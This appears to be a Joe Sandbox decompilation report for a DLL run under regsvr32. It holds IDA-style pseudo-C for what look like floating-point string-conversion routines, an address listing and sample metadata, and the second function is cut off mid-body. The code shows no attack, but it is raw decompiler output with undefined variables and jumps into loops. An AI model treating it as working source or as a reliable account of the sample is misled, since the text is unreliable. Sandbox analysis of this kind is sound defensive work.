				r12d = 1;
				if(__edx != 0x30) {
					L5:
					if(_t188 - 0x31 > 8) {
						_t237 = _t236 - _t246;
						_t199 = 0;
						L9:
						__eflags = _t205;
						 *_t248 = _t237;
						if(_t205 == 0) {
							r8d = _t199;
							_t190 = _t199;
							_t199 = 4;
							L103:
							_t178 = 0;
							_t134 = 0;
							__eflags = 0;
							L104:
							_t240 = _a72;
							_t135 = _t134 | _a52;
							__eflags = _t135;
							_t240[2] = _t135;
							 *_t240 = _t178;
							_t240[0] = _t190;
							_t240[1] = r8d;
							__eflags = _a160 ^ _t234;
							return E1002FF40(_t178, _a160 ^ _t234);
						}
						__eflags = r10d - 0x18;
						if(r10d <= 0x18) {
							__eflags = r10d;
							if(r10d == 0) {
								r8d = _t199;
								_t190 = _t199;
								goto L103;
							}
							L16:
							_t244 = _t243 - 1;
							__eflags =  *_t244;
							if( *_t244 != 0) {
								L19:
								_t8 =  &_a96; // 0x61
								_t9 =  &_a128; // 0x81
								E1004EED0(r10d, _t215, _t9, _t224, _t229, _t231, _t8, _t239, _t241, _t244);
								__eflags = r14d;
								if(r14d >= 0) {
									r8d = _a48;
								} else {
									r8d = _a48;
									r8d =  ~r8d;
								}
								r8d = r8d + _t176;
								__eflags = r12d;
								if(r12d == 0) {
									r8d = r8d + _a288;
									__eflags = r8d;
								}
								__eflags = r15d;
								if(r15d == 0) {
									r8d = r8d - _a296;
									__eflags = r8d;
								}
								__eflags = r8d - 0x1450;
								if(r8d > 0x1450) {
									_t190 = _t199;
									_t134 = 0x7fff;
									r8d = 0x80000000;
									_t199 = 2;
									_t178 = 0;
									goto L104;
								} else {
									__eflags = r8d - 0xffffebb0;
									if(r8d < 0xffffebb0) {
										r8d = _t199;
										_t190 = _t199;
										_t199 = 1;
										goto L103;
									}
									_t226 = 0x100b3270;
									__eflags = r8d;
									if(r8d == 0) {
										L98:
										_t178 = _a96 & 0x0000ffff;
										_t190 = _a98;
										r8d = _a102;
										_t134 = _a104 >> 0x10;
										goto L104;
									}
									__eflags = r8d;
									if(r8d < 0) {
										r8d =  ~r8d;
										_t226 = 0x100b33d0;
										__eflags = 0x100b3430;
									}
									__eflags = _a56;
									_t141 =  ==  ? 0 : _a96 & 0x0000ffff;
									__eflags = r8d;
									_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
									if(r8d == 0) {
										_t199 = 0;
										__eflags = 0;
									} else {
										r9d = 0xffff8000;
										do {
											_t226 = _t226 + 0x54;
											r8d = r8d >> 3;
											__eflags = r8d & 0x00000007;
											_a48 = r8d;
											_a64 = _t226;
											if((r8d & 0x00000007) == 0) {
												goto L95;
											}
											_t221 = _t211 + _t211 * 2;
											__eflags =  *((short*)(_t226 + _t221 * 4)) - 0x8000;
											_t251 = _t226 + _t221 * 4;
											if( *((short*)(_t226 + _t221 * 4)) >= 0x8000) {
												_t25 =  &_a112; // 0x71
												_t221 = _t25;
												 *_t221 =  *_t251;
												_t172 = _t251[2];
												_t27 =  &_a112; // 0x71
												_t251 = _t27;
												 *(_t221 + 8) = _t172;
												_t211 = _a112 >> 0x10;
												_t173 = _t172 - 1;
												__eflags = _t173;
												_a114 = _t173;
											}
											_t179 = _t251[2] & 0x0000ffff;
											_t145 = _a106 & 0x0000ffff;
											r15d = 0;
											_t180 = _t179 & 0x00007fff;
											_a80 = 0;
											_t146 = _t145 & 0x00007fff;
											_a84 = 0;
											_t194 = (_t179 & 0x0000ffff ^ _t145) & 0x00008000;
											__eflags = _t146 - 0x7fff;
											_a88 = 0;
											_a56 = _t194;
											_t200 = _t211 + _t221;
											if(_t146 >= 0x7fff) {
												L94:
												__eflags = _t194;
												_t226 = _a64;
												_t148 =  !=  ? r9d : 0x7fff8000;
												_a100 = 0;
												_a96 = 0;
												_a104 =  !=  ? r9d : 0x7fff8000;
											} else {
												__eflags = _t180 - 0x7fff;
												if(_t180 >= 0x7fff) {
													goto L94;
												}
												__eflags = _t200 - 0xbffd;
												if(_t200 > 0xbffd) {
													goto L94;
												}
												__eflags = _t200 - 0x3fbf;
												if(_t200 > 0x3fbf) {
													__eflags = _t146;
													if(_t146 != 0) {
														L46:
														__eflags = _t180;
														if(_t180 != 0) {
															L51:
															r13d = 0;
															_t227 =  &_a84;
															r12d = 5;
															do {
																__eflags = r12d;
																_t177 = r12d;
																_t222 = _t248 + _t248;
																if(r12d <= 0) {
																	goto L66;
																}
																_t55 =  &(_t251[2]); // 0x9
																_t242 = _t55;
																_t57 = _t222 + 0x60; // 0x65
																_t245 = _t234 + _t57;
																_t204 = r13d & 0x00000001;
																__eflags = _t204;
																do {
																	_t182 = ( *_t245 & 0x0000ffff) * ( *_t242 & 0x0000ffff);
																	__eflags = _t204;
																	if(_t204 == 0) {
																		r8d = 0;
																		r9d = _t211 + _t222;
																		__eflags = r9d -  *(_t227 - 4);
																		if(r9d <  *(_t227 - 4)) {
																			L61:
																			r8d = 1;
																			L62:
																			 *(_t227 - 4) = r9d;
																			goto L63;
																		}
																		__eflags = r9d - _t182;
																		if(r9d >= _t182) {
																			goto L62;
																		}
																		goto L61;
																	}
																	r8d = 0;
																	r9d = _t211 + _t222;
																	__eflags = r9d -  *(_t227 - 4);
																	if(r9d <  *(_t227 - 4)) {
																		L57:
																		r8d = 1;
																		L58:
																		 *(_t227 - 4) = r9d;
																		goto L63;
																	}
																	__eflags = r9d - _t182;
																	if(r9d >= _t182) {
																		goto L58;
																	}
																	goto L57;
																	L63:
																	__eflags = r8d;
																	if(r8d != 0) {
																		 *_t227 =  *_t227 + 1;
																		__eflags =  *_t227;
																	}
																	_t177 = _t177 - 1;
																	_t245 =  &(_t245[1]);
																	_t242 = _t242 - 2;
																	__eflags = _t177;
																} while (_t177 > 0);
																L66:
																r12d = r12d - 1;
																_t227 =  &(_t227[0]);
																r13d = r13d + 1;
																__eflags = r12d;
															} while (r12d > 0);
															_t201 = _t200 + 0xc002;
															__eflags = _t201;
															if(__eflags <= 0) {
																r8d = _a88;
																_t195 = _a84;
																r9d = _a80;
																L81:
																_t201 = _t201 + 0xffff;
																__eflags = _t201;
																if(_t201 >= 0) {
																	L73:
																	_t150 = _a80 & 0x0000ffff;
																	L74:
																	__eflags = _t150 - 0x8000;
																	if(_t150 > 0x8000) {
																		L76:
																		_t151 = _a82;
																		__eflags = _t151 - 0xffffffff;
																		if(_t151 != 0xffffffff) {
																			_t152 = _t151 + 1;
																			__eflags = _t152;
																			_a82 = _t152;
																			_t195 = _a84;
																		} else {
																			_t156 = _a86;
																			_a82 = 0;
																			__eflags = _t156 - 0xffffffff;
																			if(_t156 != 0xffffffff) {
																				_a86 = _t156 + 1;
																				r8d = _a88;
																				_t195 = _a84;
																			} else {
																				_t158 = _a90 & 0x0000ffff;
																				_a86 = 0;
																				__eflags = _t158 - 0xffff;
																				if(_t158 != 0xffff) {
																					_t195 = _a84;
																					_a90 = _t158 + 1;
																					r8d = _a88;
																				} else {
																					_t195 = _a84;
																					_a90 = 0x8000;
																					r8d = _a88;
																					_t201 = _t201 + 1;
																				}
																			}
																		}
																		L91:
																		__eflags = _t201 - 0x7fff;
																		if(_t201 < 0x7fff) {
																			_a98 = _t195;
																			_t226 = _a64;
																			_a102 = r8d;
																			r8d = _a48;
																			_a96 = _a82 & 0x0000ffff;
																			_a106 = _t201 | _a56;
																			r9d = 0xffff8000;
																		} else {
																			__eflags = _a56;
																			_t226 = _a64;
																			r8d = _a48;
																			r9d = 0xffff8000;
																			_a100 = 0;
																			_t155 =  !=  ? r9d : 0x7fff8000;
																			_a96 = 0;
																			_a104 =  !=  ? r9d : 0x7fff8000;
																		}
																		goto L95;
																	}
																	r9d = r9d & 0x0001ffff;
																	__eflags = r9d - 0x18000;
																	if(r9d != 0x18000) {
																		goto L91;
																	}
																	goto L76;
																}
																r10d =  ~(_t201 & 0x0000ffff) & 0x0000ffff;
																_t201 = _t201 + r10w;
																__eflags = _t201;
																do {
																	__eflags = _a80 & 0x00000001;
																	if((_a80 & 0x00000001) != 0) {
																		r15d = r15d + 1;
																		__eflags = r15d;
																	}
																	r9d = r9d >> 1;
																	r9d = r9d | _t195 << 0x0000001f;
																	r8d = r8d >> 1;
																	_t195 = _t195 >> 0x00000001 | r8d << 0x0000001f;
																	_t242 = _t242 - 1;
																	__eflags = _t242;
																	_a80 = r9d;
																} while (_t242 != 0);
																__eflags = r15d;
																_a84 = _t195;
																_a88 = r8d;
																if(r15d == 0) {
																	goto L73;
																}
																_t150 = r9w | 0x00000001;
																_a80 = _t150;
																r9d = _a80;
																goto L74;
															}
															r8d = _a88;
															_t195 = _a84;
															r9d = _a80;
															while(1) {
																asm("inc ecx");
																if(__eflags < 0) {
																	break;
																}
																r8d = r8d + r8d;
																_t186 = _t195 >> 0x1f;
																r9d = r9d + r9d;
																_t195 = _t195 + _t195 | r9d >> 0x0000001f;
																r8d = r8d | _t186;
																_t201 = _t201 + 0xffff;
																_a84 = _t195;
																_a88 = r8d;
																__eflags = _t201;
																_a80 = r9d;
																if(__eflags > 0) {
																	continue;
																}
																goto L81;
															}
															__eflags = _t201;
															if(_t201 <= 0) {
																goto L81;
															}
															goto L73;
														}
														_t200 = _t200 + 1;
														asm("btr eax, 0x1f");
														__eflags = _t251[2];
														if(_t251[2] != 0) {
															goto L51;
														}
														__eflags = _t251[1];
														if(_t251[1] != 0) {
															goto L51;
														}
														__eflags =  *_t251;
														if( *_t251 != 0) {
															goto L51;
														}
														_t226 = _a64;
														_a104 = 0;
														_a100 = 0;
														_a96 = 0;
														goto L95;
													}
													_t200 = _t200 + 1;
													asm("btr eax, 0x1f");
													__eflags = _a104;
													if(_a104 != 0) {
														goto L46;
													}
													__eflags = _a100;
													if(_a100 != 0) {
														goto L46;
													}
													__eflags = _a96;
													if(_a96 != 0) {
														goto L46;
													}
													_t226 = _a64;
													_a106 = 0;
													goto L95;
												}
												_t226 = _a64;
												_a104 = 0;
												_a100 = 0;
												_a96 = 0;
											}
											L95:
											__eflags = r8d;
										} while (r8d != 0);
										_t199 = 0;
									}
									goto L98;
								}
							}
							do {
								_t244 = _t244 - 1;
								r10d = r10d + 0xffffffff;
								_t176 = _t176 + 1;
								__eflags =  *_t244;
							} while ( *_t244 == 0);
							goto L19;
						}
						_t174 = _a151 & 0x000000ff;
						__eflags = _t174 - 5;
						if(_t174 >= 5) {
							_t175 = _t174 + 1;
							__eflags = _t175;
							_a151 = _t175;
						}
						_t243 = _t243 - 1;
						r10d = 0x18;
						_t176 = _t176 + 1;
						goto L16;
					}
					r9d = 9;
					_t236 = _t236 - _t246;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t199 = 0;
					__eflags = 0;
					goto L9;
				} else {
					do {
						_t188 =  *_t236;
						_t236 = _t236 + __r12;
					} while (_t188 == 0x30);
					goto L5;
				}
				L1:
				_t236 = _t236 + 1;
				if(r9d <= 0xb) {
					_t211 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b79c
0x1004b79c
0x1004b79c
0x1004b79c
0x1004b79c
0x1004b79c
0x1004b79c
0x1004b79f
0x1004b7a5
0x1004b7bb
0x1004b7c1
0x1004b8de
0x1004b8e1
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b7c7
0x1004b7cd
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x00000000
0x1004b7b0
0x1004b7b0
0x1004b7b0
0x1004b7b3
0x1004b7b6
0x00000000
0x1004b7b0
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a151fc877399a543475b8231ddcf99dd0368ad725c113e8f037e43b7d3fe6e
Instruction ID: a404ac72e01652ca0879e2704834c5d3f3b44ab72347b2d9fee2ade45b5281d5
Opcode Fuzzy Hash: 66a151fc877399a543475b8231ddcf99dd0368ad725c113e8f037e43b7d3fe6e
Instruction Fuzzy Hash: 3F510777628BD5C6C760CF2AE04079AB7A1F381780FA05026EB8983B59DB79D845CF08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B814 Relevance: .2, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B814(void* __ebx, void* __edx, signed int __ebp, signed char* __r8, void* __r9, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296, intOrPtr _a304) {
				unsigned int _t138;
				signed int _t139;
				signed short _t149;
				signed short _t150;
				signed short _t154;
				signed short _t155;
				signed int _t156;
				signed int _t160;
				signed int _t162;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed char _t179;
				void* _t180;
				signed int _t181;
				signed int _t182;
				signed short _t183;
				signed short _t184;
				signed int _t186;
				signed int _t190;
				signed int _t193;
				signed short _t197;
				signed int _t198;
				signed int _t201;
				signed int _t202;
				void* _t203;
				signed int _t204;
				signed int _t207;
				signed int _t208;
				void* _t218;
				signed long long _t224;
				void* _t225;
				void* _t227;
				long long _t229;
				signed int* _t230;
				long long _t232;
				void* _t234;
				signed long long _t237;
				long long _t240;
				void* _t242;
				signed int* _t243;
				void* _t244;
				signed int _t245;
				void* _t246;
				char* _t247;
				signed short* _t248;
				long long* _t250;
				signed int* _t253;

				_t250 = __r13;
				_t246 = __r11;
				_t242 = __r9;
				_t239 = __r8;
				_t208 = __ebp;
				_t180 = __ebx;
				if(_a304 == 0) {
					_t240 = __r8 - 1;
					_t202 = 0;
					goto L9;
				} else {
					_t232 = __r8 - 1;
					if(_t201 == 0x2b) {
						r9d = 7;
						do {
							goto L1;
						} while (r9d != 0xa);
						_t202 = 0;
						__eflags = 0;
						L9:
						__eflags = _t208;
						 *_t250 = _t240;
						if(_t208 == 0) {
							r8d = _t202;
							_t193 = _t202;
							_t202 = 4;
							L104:
							_t182 = 0;
							_t138 = 0;
							__eflags = 0;
							L105:
							_t243 = _a72;
							_t139 = _t138 | _a52;
							__eflags = _t139;
							_t243[2] = _t139;
							 *_t243 = _t182;
							_t243[0] = _t193;
							_t243[1] = r8d;
							__eflags = _a160 ^ _t237;
							return E1002FF40(_t182, _a160 ^ _t237);
						}
						__eflags = r10d - 0x18;
						if(r10d <= 0x18) {
							__eflags = r10d;
							if(r10d == 0) {
								r8d = _t202;
								_t193 = _t202;
								goto L104;
							}
							L17:
							_t247 = _t246 - 1;
							__eflags =  *_t247;
							if( *_t247 != 0) {
								L20:
								_t12 =  &_a96; // 0x61
								_t13 =  &_a128; // 0x81
								E1004EED0(r10d, _t218, _t13, _t227, _t232, _t234, _t12, _t242, _t244, _t247);
								__eflags = r14d;
								if(r14d >= 0) {
									r8d = _a48;
								} else {
									r8d = _a48;
									r8d =  ~r8d;
								}
								r8d = r8d + _t180;
								__eflags = r12d;
								if(r12d == 0) {
									r8d = r8d + _a288;
									__eflags = r8d;
								}
								__eflags = r15d;
								if(r15d == 0) {
									r8d = r8d - _a296;
									__eflags = r8d;
								}
								__eflags = r8d - 0x1450;
								if(r8d > 0x1450) {
									_t193 = _t202;
									_t138 = 0x7fff;
									r8d = 0x80000000;
									_t202 = 2;
									_t182 = 0;
									goto L105;
								} else {
									__eflags = r8d - 0xffffebb0;
									if(r8d < 0xffffebb0) {
										r8d = _t202;
										_t193 = _t202;
										_t202 = 1;
										goto L104;
									}
									_t229 = 0x100b3270;
									__eflags = r8d;
									if(r8d == 0) {
										L99:
										_t182 = _a96 & 0x0000ffff;
										_t193 = _a98;
										r8d = _a102;
										_t138 = _a104 >> 0x10;
										goto L105;
									}
									__eflags = r8d;
									if(r8d < 0) {
										r8d =  ~r8d;
										_t229 = 0x100b33d0;
										__eflags = 0x100b3430;
									}
									__eflags = _a56;
									_t145 =  ==  ? 0 : _a96 & 0x0000ffff;
									__eflags = r8d;
									_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
									if(r8d == 0) {
										_t202 = 0;
										__eflags = 0;
									} else {
										r9d = 0xffff8000;
										do {
											_t229 = _t229 + 0x54;
											r8d = r8d >> 3;
											__eflags = r8d & 0x00000007;
											_a48 = r8d;
											_a64 = _t229;
											if((r8d & 0x00000007) == 0) {
												goto L96;
											}
											_t224 = _t214 + _t214 * 2;
											__eflags =  *((short*)(_t229 + _t224 * 4)) - 0x8000;
											_t253 = _t229 + _t224 * 4;
											if( *((short*)(_t229 + _t224 * 4)) >= 0x8000) {
												_t29 =  &_a112; // 0x71
												_t224 = _t29;
												 *_t224 =  *_t253;
												_t176 = _t253[2];
												_t31 =  &_a112; // 0x71
												_t253 = _t31;
												 *(_t224 + 8) = _t176;
												_t214 = _a112 >> 0x10;
												_t177 = _t176 - 1;
												__eflags = _t177;
												_a114 = _t177;
											}
											_t183 = _t253[2] & 0x0000ffff;
											_t149 = _a106 & 0x0000ffff;
											r15d = 0;
											_t184 = _t183 & 0x00007fff;
											_a80 = 0;
											_t150 = _t149 & 0x00007fff;
											_a84 = 0;
											_t197 = (_t183 & 0x0000ffff ^ _t149) & 0x00008000;
											__eflags = _t150 - 0x7fff;
											_a88 = 0;
											_a56 = _t197;
											_t203 = _t214 + _t224;
											if(_t150 >= 0x7fff) {
												L95:
												__eflags = _t197;
												_t229 = _a64;
												_t152 =  !=  ? r9d : 0x7fff8000;
												_a100 = 0;
												_a96 = 0;
												_a104 =  !=  ? r9d : 0x7fff8000;
											} else {
												__eflags = _t184 - 0x7fff;
												if(_t184 >= 0x7fff) {
													goto L95;
												}
												__eflags = _t203 - 0xbffd;
												if(_t203 > 0xbffd) {
													goto L95;
												}
												__eflags = _t203 - 0x3fbf;
												if(_t203 > 0x3fbf) {
													__eflags = _t150;
													if(_t150 != 0) {
														L47:
														__eflags = _t184;
														if(_t184 != 0) {
															L52:
															r13d = 0;
															_t230 =  &_a84;
															r12d = 5;
															do {
																__eflags = r12d;
																_t181 = r12d;
																_t225 = _t250 + _t250;
																if(r12d <= 0) {
																	goto L67;
																}
																_t59 =  &(_t253[2]); // 0x9
																_t245 = _t59;
																_t61 = _t225 + 0x60; // 0x65
																_t248 = _t237 + _t61;
																_t207 = r13d & 0x00000001;
																__eflags = _t207;
																do {
																	_t186 = ( *_t248 & 0x0000ffff) * ( *_t245 & 0x0000ffff);
																	__eflags = _t207;
																	if(_t207 == 0) {
																		r8d = 0;
																		r9d = _t214 + _t225;
																		__eflags = r9d -  *(_t230 - 4);
																		if(r9d <  *(_t230 - 4)) {
																			L62:
																			r8d = 1;
																			L63:
																			 *(_t230 - 4) = r9d;
																			goto L64;
																		}
																		__eflags = r9d - _t186;
																		if(r9d >= _t186) {
																			goto L63;
																		}
																		goto L62;
																	}
																	r8d = 0;
																	r9d = _t214 + _t225;
																	__eflags = r9d -  *(_t230 - 4);
																	if(r9d <  *(_t230 - 4)) {
																		L58:
																		r8d = 1;
																		L59:
																		 *(_t230 - 4) = r9d;
																		goto L64;
																	}
																	__eflags = r9d - _t186;
																	if(r9d >= _t186) {
																		goto L59;
																	}
																	goto L58;
																	L64:
																	__eflags = r8d;
																	if(r8d != 0) {
																		 *_t230 =  *_t230 + 1;
																		__eflags =  *_t230;
																	}
																	_t181 = _t181 - 1;
																	_t248 =  &(_t248[1]);
																	_t245 = _t245 - 2;
																	__eflags = _t181;
																} while (_t181 > 0);
																L67:
																r12d = r12d - 1;
																_t230 =  &(_t230[0]);
																r13d = r13d + 1;
																__eflags = r12d;
															} while (r12d > 0);
															_t204 = _t203 + 0xc002;
															__eflags = _t204;
															if(__eflags <= 0) {
																r8d = _a88;
																_t198 = _a84;
																r9d = _a80;
																L82:
																_t204 = _t204 + 0xffff;
																__eflags = _t204;
																if(_t204 >= 0) {
																	L74:
																	_t154 = _a80 & 0x0000ffff;
																	L75:
																	__eflags = _t154 - 0x8000;
																	if(_t154 > 0x8000) {
																		L77:
																		_t155 = _a82;
																		__eflags = _t155 - 0xffffffff;
																		if(_t155 != 0xffffffff) {
																			_t156 = _t155 + 1;
																			__eflags = _t156;
																			_a82 = _t156;
																			_t198 = _a84;
																		} else {
																			_t160 = _a86;
																			_a82 = 0;
																			__eflags = _t160 - 0xffffffff;
																			if(_t160 != 0xffffffff) {
																				_a86 = _t160 + 1;
																				r8d = _a88;
																				_t198 = _a84;
																			} else {
																				_t162 = _a90 & 0x0000ffff;
																				_a86 = 0;
																				__eflags = _t162 - 0xffff;
																				if(_t162 != 0xffff) {
																					_t198 = _a84;
																					_a90 = _t162 + 1;
																					r8d = _a88;
																				} else {
																					_t198 = _a84;
																					_a90 = 0x8000;
																					r8d = _a88;
																					_t204 = _t204 + 1;
																				}
																			}
																		}
																		L92:
																		__eflags = _t204 - 0x7fff;
																		if(_t204 < 0x7fff) {
																			_a98 = _t198;
																			_t229 = _a64;
																			_a102 = r8d;
																			r8d = _a48;
																			_a96 = _a82 & 0x0000ffff;
																			_a106 = _t204 | _a56;
																			r9d = 0xffff8000;
																		} else {
																			__eflags = _a56;
																			_t229 = _a64;
																			r8d = _a48;
																			r9d = 0xffff8000;
																			_a100 = 0;
																			_t159 =  !=  ? r9d : 0x7fff8000;
																			_a96 = 0;
																			_a104 =  !=  ? r9d : 0x7fff8000;
																		}
																		goto L96;
																	}
																	r9d = r9d & 0x0001ffff;
																	__eflags = r9d - 0x18000;
																	if(r9d != 0x18000) {
																		goto L92;
																	}
																	goto L77;
																}
																r10d =  ~(_t204 & 0x0000ffff) & 0x0000ffff;
																_t204 = _t204 + r10w;
																__eflags = _t204;
																do {
																	__eflags = _a80 & 0x00000001;
																	if((_a80 & 0x00000001) != 0) {
																		r15d = r15d + 1;
																		__eflags = r15d;
																	}
																	r9d = r9d >> 1;
																	r9d = r9d | _t198 << 0x0000001f;
																	r8d = r8d >> 1;
																	_t198 = _t198 >> 0x00000001 | r8d << 0x0000001f;
																	_t245 = _t245 - 1;
																	__eflags = _t245;
																	_a80 = r9d;
																} while (_t245 != 0);
																__eflags = r15d;
																_a84 = _t198;
																_a88 = r8d;
																if(r15d == 0) {
																	goto L74;
																}
